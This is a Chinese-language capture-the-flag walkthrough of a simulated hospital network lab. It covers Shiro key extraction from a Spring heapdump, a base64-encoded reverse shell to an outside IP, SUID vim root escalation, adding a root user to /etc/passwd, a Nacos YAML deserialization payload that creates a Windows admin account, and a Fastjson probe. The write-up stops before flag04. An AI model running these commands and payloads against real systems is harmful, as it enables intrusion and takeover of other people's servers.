概述

在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个 flag,分布于不同的靶机。

架构

内网地址 Host or FQDN 简要描述
172.30.12.5 Web01 Spring + Shiro
172.30.12.6 Server02 Nacos
172.30.12.236 172.30.54.179 Web03 Fastjson
172.30.54.12 Web04 Grafana + Postgresql

前期信息打点

不知道为什么fscan最新版扫不出来8080端口,改成了1.8.2发现可以了

fscan扫描得到如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
D:\PenetrationW>.\fscan64 -h 39.99.231.151

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 39.99.231.151 is alive
[*] Icmp alive hosts len is: 1
39.99.231.151:22 open
39.99.231.151:8080 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle: http://39.99.231.151:8080 code:302 len:0 title:None 跳转url: http://39.99.231.151:8080/login;jsessionid=9823AC0A558D9D6AE0C5066806C444E4
[*] WebTitle: http://39.99.231.151:8080/login;jsessionid=9823AC0A558D9D6AE0C5066806C444E4 code:200 len:2005 title:医疗管理后台
[+] http://39.99.231.151:8080 poc-yaml-spring-actuator-heapdump-file

发现jsessionid=xxx,明显的Shiro特征,同时发现有acatuator泄露

访问网站,弱口令admin/admin123直接登录了,但是没啥东西

8080端口存在一个网站和heapdump文件,访问/actuator目录

通过目录扫描发现其存在 Spring Boot Heapdump 泄露

<39.99.231.151:8080/actuator/heapdump>

我们通过whwlsfb/JDumpSpider对Heapdump文件进行分析,得到 Shiro key

1
2
3
4
5
6
7
D:\PenetrationW\JDumpSpider>java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

===========================================

得到密钥

漏洞利用(Spring Boot Heapdump + Shiro Deserialization)

生成内存马,蚁剑连接


这个登录不进去,把文件改为jsp后缀可以(php后缀也不行)

连接过后我们直接反弹 shell

1
2
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMjQ5Ljk5LjcxLzc5OSAwPiYx}|{base64,-d}|{bash,-i}'
# bash -i >& /dev/tcp/123.249.99.71/799 0>&1

反弹过后,直接尝试查找 SUID 权限,根据输出发现vim.basic具有S权限,vim.basic可以直接以root身份进行文件编辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app@web01:/$ id
id
uid=1000(app) gid=1000(app) groups=1000(app)
app@web01:/$ find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/vim.basic
/usr/bin/su
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/stapbpf
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

非预期(猜flag地址)

vim.basic /root/flag/flag01.txt莫名其妙就出了

1
2
3
4
5
6
7
8
9
^C)     O))                              O))             O))
root@hcss-ecs-6260:~# O) O)) O))
O)) O)) O)) O)))) O) O)) O)O) O) O)) O))
O)))))) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O))
O)) O))O)) O)) O))) O) O))O)) O)) O)) O)) O))
O)) O)) O)) O)) O))O)) O)) O)) O)) O)) O)) O))
O)) O)) O)) O)) O))O)) O)) O)) O)) O)))O)))
O))
flag01: flag{5dad6d4a-087c-4de3-bb10-f899ac1c69a9}

为了后面方便操作,进行提权,输入

一次性提权,不好用

1
vim.basic -c ':python3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'

就可以这个提权,也可以直接写入root公钥

1
2
3
4
vim.basic /root/.ssh/authorized_keys
i
(公钥)
esc : wq!

正宗提权方法(升级交互式终端)

升级交互式终端,以欺骗某些命令让它们以为在合适的终端运行,vim.basic有suid权限,但是必须有tty,也就是交互式shell

1
2
3
4
5
6
7
8
python3 -c "import pty;pty.spawn('/bin/bash')"

script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
#xterm-256color
#最后这条命令执行会说命令找不到,不知道为什么

通过 vim.basic 修改 /etc/passwd 进行提权
1
2
openssl passwd -1 -salt 123 123456
# $1$123$7mft0jKnzzvAdU4t0unTG1

生成密码
在 /etc/passwd 文件中添加个账户
1
2
3
4
5
vim /etc/passwd

hacker:$1$123$7mft0jKnzzvAdU4t0unTG1:0:0:/root:/bin/bash

#退出的时候输入:wq!

添加之后,su切换到新添加的帐号,这台服务器是 web01,获取 flag01 的值

1
su hacker

就有root权限了

内网扫描

上传 fscan 进行扫描内网网段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.30.12.5 netmask 255.255.0.0 broadcast 172.30.255.255
inet6 fe80::216:3eff:fe23:29cf prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:23:29:cf txqueuelen 1000 (Ethernet)
RX packets 67492 bytes 95599182 (95.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 16889 bytes 2373197 (2.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 784 bytes 68783 (68.7 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 784 bytes 68783 (68.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

./fscan -h 172.30.12.5/24 -hn 172.30.12.5
bash: line 14: ./fscan: Permission denied
chmod 777 fscan
./fscan -h 172.30.12.5/24 -hn 172.30.12.5

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.30.12.236 is alive
(icmp) Target 172.30.12.6 is alive
[*] Icmp alive hosts len is: 2
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.236:8080 open
172.30.12.236:8009 open
172.30.12.6:8848 open
[*] alive ports len is: 7
start vulscan
[*] NetBios 172.30.12.6 WORKGROUP\SERVER02
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass

发现如下两个资产

1
2
http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass 
http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台

上传frp进行socks5代理
访问http://172.30.12.6:8848/nacos/

内网172.30.12.6存在一台nacos服务,存在默认密码 nacos/nacos
http://172.30.12.236:8080是存在fastjson服务

flag02(Nacos Client Yaml Deserialization)

我们先访问 Nacos 服务:http://172.30.12.6:8848

反手一个弱口令进入后台nacos:nacos,获取到的配置文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
server:
port: 8080
servlet:
context-path: /hello

spring:
application:
name: db-config
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8848
config:
server-addr: 127.0.0.1:8848
file-extension: yaml
namespace: dev
group: DEFAULT_GROUP
data-id: db-config.yaml
datasource:
mysql:
url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
username: root
password: P@ssWord!!!
redis:
host: localhost
port: 6379

management:
endpoints:
web:
exposure:
include: '*'

我们用charonlight/NacosExploitGUI工具检测一下存在的漏洞

根据检测结果我们尝试Nacos Client Yaml反序列化漏洞,修改artsploit/yaml-payload制作一个恶意包

只需要修改AwesomeScriptEngineFactory.java文件中的内容即可,我们直接添加一个管理员账户:

1
2
3
4
5
6
7
8
9
10
11
//Admin123..(原本的密码)
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("net user fmo fmo /add");
Runtime.getRuntime().exec("net localgroup administrators fmo /add");
} catch (IOException e) {
e.printStackTrace();
}
}

然后我们将上面的源代码编译为jar包

1
2
3
4
5
6
7
8
9
10
11
12
13
D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\javac -version
javac 1.8.0_421

D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\javac src/artsploit/AwesomeScriptEngineFactory.java

D:\PenetrationW\script\yaml-payload>D:\ProgrammingLanguage\java\jdk8-8u421\bin\jar -cvf yaml-payload.jar -C src/ .
已添加清单
正在添加: artsploit/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: artsploit/AwesomeScriptEngineFactory.class(输入 = 1671) (输出 = 702)(压缩了 57%)
正在添加: artsploit/AwesomeScriptEngineFactory.java(输入 = 1562) (输出 = 410)(压缩了 73%)
正在忽略条目META-INF/
正在添加: META-INF/services/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: META-INF/services/javax.script.ScriptEngineFactory(输入 = 36) (输出 = 38)(压缩了 -5%)

在当前目录发现新jar文件,上传到Web01入口机器中,然后起一个Web服务使之可以访问

1
2
#用root权限的web01
python3 -m http.server 80

另外Jar路径填内网地址(http://172.30.12.5/payload.jar),同时可以多执行几次,确保成功

之后进行常规的远程桌面链接即可链接即可(不用管端口号),最后在Administrator用户目录下发现 flag02(这台电脑是Windows)

flag03(Fastjson Deserialization)

我们接着访问医院后台管理平台服务:http://172.30.12.236:8080/

Burp抓取登录包发现发送的为Json数据,猜测为Fastjson,发送Payload后得到版本号1.2.45

1
{"@type": "java.lang.AutoCloseable"

172.30.12.236:8080是打Fastjson反序列化,这里直接用现成的burp插件amaz1ngday/fastjson-exp,抓登录的请求包,然后选择操作,再选择拓展,无论是send to fastjsonEcho还是send to fastjsonInject插件都能检验出来然后帮你拿shell

不过生成的马连不上,会显示initShellOpertion Fail,因为目标开启了session持久化,并且我们向session存入了不可被反序列化的数据,导致后续使用此session我们无法获取到之前存入的数据,解决办法是把生成的shell中的session替换成application,但他这个请求我没怎么看懂,改不来。但这个插件可以直接在消息请求头那里执行命令然后拿到执行结果,所以也不用连上去

因为我想改密码,输入了命令passwd,导致web03靶机连接不了了,也不能getshell了,后面的部分也就打不了了,害,太可惜了,希望以后能补回来

flag04(Grafana Unauthorized Arbitrary File Reading & PostgreSQL Getshell)

好像是多次代理的玩意

参考链接

春秋云镜仿真靶场Hospital实操
春秋云境-Hospital
春秋云镜 Hospital Writeup